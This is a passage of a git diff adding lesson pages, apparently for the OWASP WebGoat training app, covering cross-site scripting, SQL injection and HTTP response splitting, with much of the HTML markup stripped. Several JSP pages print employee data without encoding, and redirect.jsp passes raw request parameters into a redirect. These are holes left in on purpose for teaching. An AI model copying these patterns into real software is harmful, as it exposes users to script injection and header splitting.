\ No newline at end of file diff --git a/main/project/WebContent/lessons/CrossSiteScripting/ListStaff.jsp b/main/project/WebContent/lessons/CrossSiteScripting/ListStaff.jsp new file mode 100644 index 000000000..2a8d07731 --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/ListStaff.jsp @@ -0,0 +1,54 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, CrossSiteScripting.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, CrossSiteScripting.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ diff --git a/main/project/WebContent/lessons/CrossSiteScripting/Login.jsp b/main/project/WebContent/lessons/CrossSiteScripting/Login.jsp new file mode 100644 index 000000000..4479289e9 --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/CrossSiteScripting/SearchStaff.jsp b/main/project/WebContent/lessons/CrossSiteScripting/SearchStaff.jsp new file mode 100644 index 000000000..4e1f6885c --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/CrossSiteScripting/ViewProfile.jsp b/main/project/WebContent/lessons/CrossSiteScripting/ViewProfile.jsp new file mode 100644 index 000000000..e9d293a47 --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/ViewProfile.jsp @@ -0,0 +1,160 @@ + +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.CrossSiteScripting.CrossSiteScripting" errorPage="" %> +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("CrossSiteScripting." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY); + CrossSiteScripting lesson = (CrossSiteScripting) webSession.getCurrentLesson(); +// int myUserId = getIntSessionAttribute(webSession, "CrossSiteScripting." + CrossSiteScripting.USER_ID); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + + + <%=lesson.htmlEncode(webSession, employee.getPersonalDescription())%> + + Manager: + + <%=employee.getManager()%> +
+ Disciplinary Explanation: + + <%=employee.getDisciplinaryActionNotes()%> + + Disciplinary Action Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+
+
+ + + + <% + } + %> + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), CrossSiteScripting.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
diff --git a/main/project/WebContent/lessons/CrossSiteScripting/error.jsp b/main/project/WebContent/lessons/CrossSiteScripting/error.jsp new file mode 100644 index 000000000..5af0a45dc --- /dev/null +++ b/main/project/WebContent/lessons/CrossSiteScripting/error.jsp @@ -0,0 +1,3 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage="" %> +


An error has occurred. diff --git a/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg new file mode 100644 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_header.jpg b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_header.jpg new file mode 100644 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg new file mode 100644 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_menu.jpg b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_menu.jpg new file mode 100644 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_workspace.jpg new file mode 100644 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/CrossSiteScripting/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css b/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css new file mode 100755 index 000000000..8ffcd6a7e --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/CrossSiteScripting/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/CrossSiteScripting/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/CrossSiteScripting/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp new file mode 100755 index 000000000..7d6ec61e0 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/DBCrossSiteScripting.jsp @@ -0,0 +1,26 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +DBCrossSiteScripting currentLesson = (DBCrossSiteScripting) webSession.getCurrentLesson(); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/EditProfile.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/EditProfile.jsp new file mode 100755 index 000000000..42f5f08e1 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/EditProfile.jsp @@ -0,0 +1,134 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("DBCrossSiteScripting.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + + + Manager: + + +
+ Disciplinary Explanation: + + + + Disciplinary Action Dates: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/ListStaff.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/ListStaff.jsp new file mode 100755 index 000000000..60c963f11 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/ListStaff.jsp @@ -0,0 +1,54 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, DBCrossSiteScripting.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, DBCrossSiteScripting.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/Login.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/Login.jsp new file mode 100755 index 000000000..9daefd1b6 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/SearchStaff.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/SearchStaff.jsp new file mode 100755 index 000000000..ddc5519b5 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/ViewProfile.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/ViewProfile.jsp new file mode 100755 index 000000000..ce0fee2b2 --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/ViewProfile.jsp @@ -0,0 +1,151 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBCrossSiteScripting.DBCrossSiteScripting" errorPage="" %> +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("DBCrossSiteScripting." + DBCrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + <%=employee.getPersonalDescription()%> + + Manager: + + <%=employee.getManager()%> +
+ Disciplinary Explanation: + + <%=employee.getDisciplinaryActionNotes()%> + + Disciplinary Action Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+
+
+ + + + <% + } + %> + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBCrossSiteScripting.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/error.jsp b/main/project/WebContent/lessons/DBCrossSiteScripting/error.jsp new file mode 100755 index 000000000..5af0a45dc --- /dev/null +++ b/main/project/WebContent/lessons/DBCrossSiteScripting/error.jsp @@ -0,0 +1,3 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage="" %> +


An error has occurred. diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg new file mode 100755 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_header.jpg b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_header.jpg new file mode 100755 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg new file mode 100755 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg new file mode 100755 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg new file mode 100755 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/DBCrossSiteScripting/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.css b/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.css new file mode 100755 index 000000000..b0b84331b --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/DBSQLInjection/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/DBSQLInjection/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/DBSQLInjection/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.jsp b/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.jsp new file mode 100755 index 000000000..7bf2fc250 --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/DBSQLInjection.jsp @@ -0,0 +1,26 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> + +<% +WebSession webSession = ((WebSession)session.getAttribute("websession")); +DBSQLInjection currentLesson = (DBSQLInjection) webSession.getCurrentLesson(); +%> +
+
+
+ <% + String subViewPage = currentLesson.getPage(webSession); + if (subViewPage != null) + { + //System.out.println("Including sub view page: " + subViewPage); + %> + + <% + } + %> + +
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBSQLInjection/EditProfile.jsp b/main/project/WebContent/lessons/DBSQLInjection/EditProfile.jsp new file mode 100755 index 000000000..55c7dc673 --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/EditProfile.jsp @@ -0,0 +1,133 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("DBDBSQLInjection.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + + + Manager: + + +
+ Disciplinary Explanation: + + + + Disciplinary Action Dates: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBSQLInjection/ListStaff.jsp b/main/project/WebContent/lessons/DBSQLInjection/ListStaff.jsp new file mode 100755 index 000000000..035ab564c --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/ListStaff.jsp @@ -0,0 +1,55 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + int myUserId = webSession.getUserIdInLesson(); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Staff Listing Page
+
+
+
+

Select from the list below

+ +
+ + + + + +
+
+
+ <% + if (webSession.isAuthorizedInLesson(myUserId, DBSQLInjection.CREATEPROFILE_ACTION)) + { + %> +
+ <% + } + %> + <% + if (webSession.isAuthorizedInLesson(myUserId, DBSQLInjection.DELETEPROFILE_ACTION)) + { + %> +
+ <% + } + %> +
+ +
+ +
+ diff --git a/main/project/WebContent/lessons/DBSQLInjection/Login.jsp b/main/project/WebContent/lessons/DBSQLInjection/Login.jsp new file mode 100755 index 000000000..4807f7d9c --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/Login.jsp @@ -0,0 +1,32 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> +
+
+ <% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + %> +
+ +
+ +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBSQLInjection/SearchStaff.jsp b/main/project/WebContent/lessons/DBSQLInjection/SearchStaff.jsp new file mode 100755 index 000000000..0c42a5a32 --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/SearchStaff.jsp @@ -0,0 +1,22 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> + \ No newline at end of file diff --git a/main/project/WebContent/lessons/DBSQLInjection/ViewProfile.jsp b/main/project/WebContent/lessons/DBSQLInjection/ViewProfile.jsp new file mode 100755 index 000000000..bd9151a63 --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/ViewProfile.jsp @@ -0,0 +1,154 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.DBSQLInjection.DBSQLInjection" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("DBSQLInjection." + DBSQLInjection.EMPLOYEE_ATTRIBUTE_KEY); +// int myUserId = getIntSessionAttribute(webSession, "DBSQLInjection." + DBSQLInjection.USER_ID); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%>
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + <%=employee.getFirstName()%> + + Last Name: + + <%=employee.getLastName()%> +
+ Street: + + <%=employee.getAddress1()%> + + City/State: + + <%=employee.getAddress2()%> +
+ Phone: + + <%=employee.getPhoneNumber()%> + + Start Date: + + <%=employee.getStartDate()%> +
+ SSN: + + <%=employee.getSsn()%> + + Salary: + + <%=employee.getSalary()%> +
+ Credit Card: + + <%=employee.getCcn()%> + + Credit Card Limit: + + <%=employee.getCcnLimit()%> +
+ Comments: + + <%=employee.getPersonalDescription()%> + + Manager: + + <%=employee.getManager()%> +
+ Disciplinary Explanation: + + <%=employee.getDisciplinaryActionNotes()%> + + Disciplinary Action Dates: + + <%=employee.getDisciplinaryActionDate()%> +
+
+
+ + + + + + + + +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.LISTSTAFF_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.EDITPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
+ <% + if (webSession.isAuthorizedInLesson(webSession.getUserIdInLesson(), DBSQLInjection.DELETEPROFILE_ACTION)) + { + %> +
+ + +
+ <% + } + %> +
  +
+ +
+
+
\ No newline at end of file diff --git a/main/project/WebContent/lessons/DBSQLInjection/error.jsp b/main/project/WebContent/lessons/DBSQLInjection/error.jsp new file mode 100755 index 000000000..5af0a45dc --- /dev/null +++ b/main/project/WebContent/lessons/DBSQLInjection/error.jsp @@ -0,0 +1,3 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + errorPage="" %> +


An error has occurred. diff --git a/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg new file mode 100755 index 000000000..39e1ed80d Binary files /dev/null and b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_SearchWindow.jpg differ diff --git a/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_header.jpg b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_header.jpg new file mode 100755 index 000000000..60a809af0 Binary files /dev/null and b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_header.jpg differ diff --git a/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg new file mode 100755 index 000000000..c91f8a052 Binary files /dev/null and b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_loginWindow.jpg differ diff --git a/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_menu.jpg b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_menu.jpg new file mode 100755 index 000000000..2c9512571 Binary files /dev/null and b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_menu.jpg differ diff --git a/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_workspace.jpg b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_workspace.jpg new file mode 100755 index 000000000..292d25654 Binary files /dev/null and b/main/project/WebContent/lessons/DBSQLInjection/images/lesson1_workspace.jpg differ diff --git a/main/project/WebContent/lessons/General/redirect.jsp b/main/project/WebContent/lessons/General/redirect.jsp new file mode 100644 index 000000000..4160e56e5 --- /dev/null +++ b/main/project/WebContent/lessons/General/redirect.jsp @@ -0,0 +1,16 @@ +<%@ page language="java" contentType="text/html; charset=ISO-8859-1" + pageEncoding="ISO-8859-1"%> + + + + +HTTP Splitting + + +<% response.sendRedirect("/WebGoat/attack?" + + "Screen=" + request.getParameter("Screen") + + "&menu=" + request.getParameter("menu") + + "&fromRedirect=yes&language=" + request.getParameter("language")); +%> + + \ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/EditProfile.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/EditProfile.jsp new file mode 100755 index 000000000..d486230e7 --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/EditProfile.jsp @@ -0,0 +1,137 @@ +<%@ page contentType="text/html; charset=ISO-8859-1" language="java" + import="java.util.*, org.owasp.webgoat.session.*, org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial" + errorPage="" %> +<% + WebSession webSession = ((WebSession)session.getAttribute("websession")); + Employee employee = (Employee) session.getAttribute("GoatHillsFinancial.Employee"); +%> +
Welcome Back <%=webSession.getUserNameInLesson()%> - Edit Profile Page
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ First Name: + + + + Last Name: + +
+ Street: + + + + City/State: + + +
+ Phone: + + + + Start Date: + + +
+ SSN: + + + + Salary: + + +
+ Credit Card: + + + + Credit Card Limit: + + +
+ Comments: + + +
+ Disciplinary Explanation: + + Disc. Date: + + +
+ +
+ Manager: + + +
+
+
+ + + + + + + + +
+ + + + + + + +
+
+
+ \ No newline at end of file diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.css b/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.css new file mode 100755 index 000000000..61e93f63c --- /dev/null +++ b/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.css @@ -0,0 +1,14 @@ +#lesson_wrapper {height: 435px;width: 500px;} +#lesson_header {background-image: url(lessons/GoatHillsFinancial/images/lesson1_header.jpg);width: 490px;padding-right: 10px;padding-top: 60px;background-repeat: no-repeat;} +.lesson_workspace {background-image: url(lessons/GoatHillsFinancial/images/lesson1_workspace.jpg);width: 489px;height: 325px;padding-left: 10px;padding-top: 10px;background-repeat: no-repeat;} +.lesson_text {height: 240px;width: 460px;padding-top: 5px;} +#lesson_buttons_bottom {height: 20px;width: 460px;} +#lesson_b_b_left {width: 300px;float: left;} +#lesson_b_b_right input {width: 100px;float: right;} +.lesson_title_box {height: 20px;width: 420px;padding-left: 30px;} +.lesson_workspace { } +.lesson_txt_10 {font-family: Arial, Helvetica, sans-serif;font-size: 10px;} +.lesson_text_db {color: #0066FF} +#lesson_login {background-image: url(lessons/GoatHillsFinancial/images/lesson1_loginWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} +#lesson_login_txt {font-family: Arial, Helvetica, sans-serif;font-size: 12px;text-align: center;} +#lesson_search {background-image: url(lessons/GoatHillsFinancial/images/lesson1_SearchWindow.jpg);height: 124px;width: 311px;background-repeat: no-repeat;padding-top: 30px;margin-left: 80px;margin-top: 50px;text-align: center;} diff --git a/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp b/main/project/WebContent/lessons/GoatHillsFinancial/GoatHillsFinancial.jsp new file mode 